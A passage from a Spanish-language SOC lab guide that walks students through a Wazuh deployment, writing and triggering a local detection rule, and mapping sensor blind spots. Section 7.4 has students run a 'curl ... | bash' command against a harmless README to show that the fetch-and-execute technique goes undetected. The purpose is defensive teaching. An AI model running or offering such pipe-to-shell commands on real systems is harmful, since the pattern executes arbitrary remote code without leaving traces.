- Revisa que el agente esta en el grupo servidores (no en default).
- Revisa que el agente se ha vuelto a conectar al manager tras publicarse la config.

CAPTURA 06: alerta FIM sobre /etc en el servidor.

7.4 El ataque que NO vais a ver (y es el objetivo didactico de hoy)

Tecnica ATT&CK T1105 (ingress tool transfer) + T1059.004 (shell): descargar un script y pasarlo directamente a una shell, sin dejar fichero en disco.
En el servidor Linux (lab aislado), ejecuta:
`curl -s https://raw.githubusercontent.com/wazuh/wazuh/main/README.md | bash`
Que es esto y por que lo hacemos: el patron "curl ... | bash" es exactamente el que usa un atacante real cuando quiere ejecutar codigo arbitrario en un servidor comprometido sin dejar rastros en disco. Es extremadamente comun en campañas reales: mineros, droppers de ransomware para Linux, pequeños troyanos. En este ejercicio el contenido es inofensivo (es el README de Wazuh, que no es shell valido), pero EL PATRON es exactamente el mismo que utiliza el malware.
Ve al dashboard y busca una alerta que mencione curl, bash, "Reverse shell" o "Suspicious command".
¿Que veis? Casi con total seguridad: nada.
Esto es un punto ciego real. Dos motivos, los dos interesantes:

- No teneis telemetria de proceso en Linux: ni auditd ni Sysmon-for-Linux estan instalados. Wazuh ve ficheros, logs y servicios, pero no ve lo que ejecuta un usuario SI no deja log. El curl | bash es un pipe entre dos procesos; no toca disco; no deja log por si solo. Para el SOC es invisible.
- Aunque tuvierais auditd, las reglas base de Wazuh no incluyen de serie una regla especifica para curl|bash. Habria que escribirla.

Esto es lo que separa a un consultor que instala Wazuh de uno que entiende lo que Wazuh ve y lo que no ve. Decir "tengo SIEM" no es lo mismo que decir "detecto esta familia de ataques". La diferencia esta en las fuentes y en las reglas, no en el software.
Toma nota del punto ciego. En el proximo bloque vas a escribir una regla local propia (para fijar el metodo), y en la siguiente sesion vais a tapar este punto ciego de verdad instalando auditd y escribiendo una regla Sigma portable.

Bloque 8. Tu primera regla local en Wazuh

Objetivo de este bloque: aprender el ciclo "escribir regla -> recargar -> disparar -> verificar". No la regla en si, el ciclo. Una vez tengas el ciclo, lo aplicas a cualquier cosa.
Donde viven las reglas: en el manager, dentro del contenedor, en /var/ossec/etc/rules/. Los agentes no tienen reglas: solo mandan datos. Las reglas se aplican centralmente. Esto es lo que hace que un cambio en una regla afecte a toda la empresa a la vez.
Asi se ven las reglas desde el modulo de Management del dashboard: *(ver imagen **rules.jpg**)*.

8.1 Que queremos detectar

Para la primera regla no vamos a complicarnos. Vamos a detectar un marcador controlado que vosotros mandais al syslog desde el agente. ¿Por que algo tan simple? Porque si eliges una regla compleja ahora, cuando falle no sabras si es la regla, el decoder, el agente o el manager.

Empezamos con algo cuyo exito no deje dudas; luego aplicamos el mismo metodo a algo util (en la siguiente sesion, al curl|bash).
Patron a cazar en el log:
`IC-ATAQUE-SIMULADO`
Sencillo, inconfundible, imposible de confundir con otro log.

8.2 Añadir la regla

Entra al manager:
```
docker exec -it single-node-wazuh.manager-1 bash
```
Mira el fichero de reglas locales:
```
cat /var/ossec/etc/rules/local_rules.xml
```
Es un fichero reservado para reglas tuyas. No tocamos las reglas base; se añaden abajo las propias.
Editalo:
```
nano /var/ossec/etc/rules/local_rules.xml
```
Pega al final del fichero (sin borrar lo que haya encima) este bloque EXACTO. Respeta las etiquetas, las comillas y las mayusculas:
```
<group name="local,ic-lab,">

  <rule id="100100" level="10">
    <decoded_as>syslog</decoded_as>
    <match>IC-ATAQUE-SIMULADO</match>
    <description>IC lab: marcador de ataque simulado detectado por el
alumnado.</description>
    <group>attack,ic-lab,</group>
  </rule>

</group>
```
Que estas diciendo con cada linea, en castellano:

- <group name="local,ic-lab,">: estas reglas pertenecen a estas categorias logicas. Util para filtrar en el dashboard.
- <rule id="100100" level="10">: id unico y nivel de alerta. En Wazuh, los ids de 100000 en adelante estan reservados para reglas locales. NUNCA uses ids del rango de las reglas base (menos de 100000); romperias el ordenamiento del fabricante.
- level 10: alta. Entre 0 y 15. 10 significa "esto es serio, atiende". Un level 3 pasa casi desapercibido; un level 15 corresponde a eventos criticos del sistema.
- <decoded_as>syslog</decoded_as>: le dices al manager "aplica esta regla solo si el log ya ha sido decodificado por el decoder de syslog". Asi reutilizas el trabajo del decoder base y no reinventas nada.
- <match>IC-ATAQUE-SIMULADO</match>: la cadena exacta que buscamos. Sensible a mayusculas.
- <description>...</description>: lo que vera el analista en el dashboard. Debe ser clara. Imagina que la lees a las 03:00 h.
- <group>attack,ic-lab,</group>: etiquetas para agrupar y filtrar.

Guarda, sal del editor y sal del contenedor:
```
exit
```
Recarga el manager:

```
docker compose restart wazuh.manager
docker compose logs --tail=50 wazuh.manager
```
Si ves ERROR al arrancar, has roto el XML. Causas tipicas: etiqueta sin cerrar, comilla simple en vez de doble, acento donde no deberia. Vuelve a entrar, corrige y repite. Es muy habitual la primera vez; no es un fallo, es parte del aprendizaje.

8.3 Dispararla

En uno de los agentes Linux ya desplegados (p. ej. IT-SRV-ERP), lanza al syslog un mensaje que contenga la cadena exacta:
```
logger "IC-ATAQUE-SIMULADO desde $(hostname) por $(whoami)"
```
Que esta pasando: logger escribe un mensaje en el syslog local; el agente lo recoge; lo manda al manager; el manager lo decodifica como syslog; nuestra regla hace match porque la cadena IC-ATAQUE-SIMULADO esta dentro del mensaje; el manager genera una alerta; la alerta se indexa; aparece en el dashboard. Toda esta cadena ocurre en segundos.
Espera 15 a 30 segundos y busca en el dashboard por:
```
IC-ATAQUE-SIMULADO
```
Debes ver la alerta con:
- rule.id = 100100
- rule.level = 10
- rule.description = IC lab: marcador de ataque simulado detectado por el alumnado.
- agent.name = tu host (p. ej. IT-SRV-ERP)

CAPTURA 07: alerta disparada por la regla propia, con rule.id 100100 claramente visible.

8.4 Que acabas de aprender

- Donde viven las reglas de Wazuh (en el manager, no en el agente).
- Que para que una regla funcione, el agente ya debe estar enviando el log; si no, no habra nada que empareje. Las reglas no "piden"; emparejan lo que llega.
- El ciclo minimo del defensor: escribir -> recargar -> disparar -> verificar.
- Que una regla sin disparar es una hipotesis, no una proteccion.

Grabalo: escribir una regla no es validarla. Si no la disparas, no existe.

Bloque 9. Matriz de fuentes y puntos ciegos (IC-E4)

Un SOC se define por lo que ve y por lo que NO ve. Las dos columnas son igual de importantes. Un consultor que te vende "cobertura total" te esta mintiendo o no sabe lo que dice.
Abre matriz-fuentes.md y rellena esta matriz. Es el nucleo de IC-E4.
Columnas: Fuente | Sensor que tengo hoy | Que veo bien | Que no veo (punto ciego)
```
Fila 1: Endpoint Linux (servidores + desarrollo) | wazuh-agent + FIM reforzado + auth.log | FIM /etc, /root, /opt, /var/www, auth SSH, cambios de usuarios | Procesos (sin auditd / Sysmon-for-Linux)
Fila 2: Endpoint Windows (ofimatica + direccion) | wazuh-agent | Logs basicos de sistema, FIM Users y StartUp (direccion con report_changes y Program Files) | Procesos (sin Sysmon), ejecuciones PowerShell
```

```
Fila 3: Red | (sin Suricata todavia) | nada | Reconocimiento,
exfiltracion, C2 por red
Fila 4: Identidad corporativa | (lab aislado) | nada | Logins
federados, viajes imposibles, bloqueos SSO
Fila 5: Nube | (lab aislado) | nada | Cualquier actividad en
M365/AWS/GCP
Fila 6: Aplicacion web | (sin nginx/portal) | nada | T1190 explotacion
de aplicacion web
```

Declara al menos tres puntos ciegos y relaciona cada uno con una categoria de incidente de la taxonomia (ENISA / CCN-STIC 817). Un punto ciego sin categoria es un fallo de inventario: no se puede priorizar lo que no se nombra.

Pregunta de pensamiento: ¿cual de los seis puntos ciegos de arriba te preocupa MAS a dia de hoy en TECNORIBERA, y por que? No hay respuesta unica; defiende tu eleccion.

Bloque 10. Entrega y cierre

Crea una carpeta con tu numero de alumno (NN) y subela al Classroom:

```
NN-IC-UT3-S2/
    inventario.csv
    checklist-verificacion.md
    matriz-fuentes.md
    bitacora.md
    00-dashboard.png
    01-agentes-active.png
    02-labels-aplicados.png
    03-usuarios-dashboard.png
    04-ssh-failed.png
    05-useradd.png
    06-fim-etc.png
    07-regla-propia-100100.png
```

En bitacora.md debe aparecer:

- Alumno/grupo:
- Host SOC + IP:
- Agentes desplegados (nombre, SO, grupo, IP):
- Rutas con FIM por grupo:
- Usuarios de dashboard creados y rol:
- Problemas encontrados y como se resolvieron:
- Punto ciego detectado y por que:
- Mi regla local (id, nivel, descripcion, que la dispara):
- Que cambiarias si fuera un entorno real (minimo 3 cosas):

Lo del "que cambiarias si fuera un entorno real" no es relleno. Es la pregunta que te hara cualquier auditor o jefe de proyecto cuando le enseñes el despliegue. Entrenate a tener respuesta.

No te vayas con un error oculto

Si algo no funciona, documenta antes de pedir ayuda:

1. Comando ejecutado.
2. Salida exacta (copia y pega, no reescribas de memoria).
3. Que esperabas.
4. Donde has mirado (log del agente, log del manager, dashboard, servicio).
5. Que cambio lo arreglo.

Un analista SOC no es el que "lo arregla". Es el que puede explicar que paso y repetirlo mañana. Si ocultas un error, mañana vuelve y nadie sabe por que.

Preguntas de cierre (verbal, por parejas)

1. ¿Por que un SOC real no comparte el usuario admin entre analistas? Da dos razones.
2. ¿Que diferencia operativa hay entre un agente en el grupo "default" y uno en "servidores"? ¿Que ve uno y no ve el otro?
3. ¿Por que al grupo direccion le hemos puesto report_changes="yes" en C:\Users y a ofimatica no? ¿Cual es el coste de la decision contraria?
4. ¿Por que curl|bash no disparo nada hoy? ¿Que le falta a tu stack para verlo?
5. Si mañana TECNORIBERA fichara a 10 personas mas, ¿que pasos del despliegue de hoy se repiten uno a uno, cuales se automatizan y cuales no se tocan?
6. Peligrosidad = categoria x activo x alcance. Pon un ejemplo con una alerta de hoy y justifica el nivel que le pondrias.

Siguiente sesion

Vamos a tapar el punto ciego de hoy en serio: instalar auditd en los Linux (telemetria de proceso de verdad), instalar Sysmon en los Windows criticos, escribir una regla Sigma portable para curl|bash y mapearla contra ATT&CK (T1105 + T1059.004). Con eso cerramos IC-E5 y damos por desplegada la arquitectura minima de deteccion de TECNORIBERA.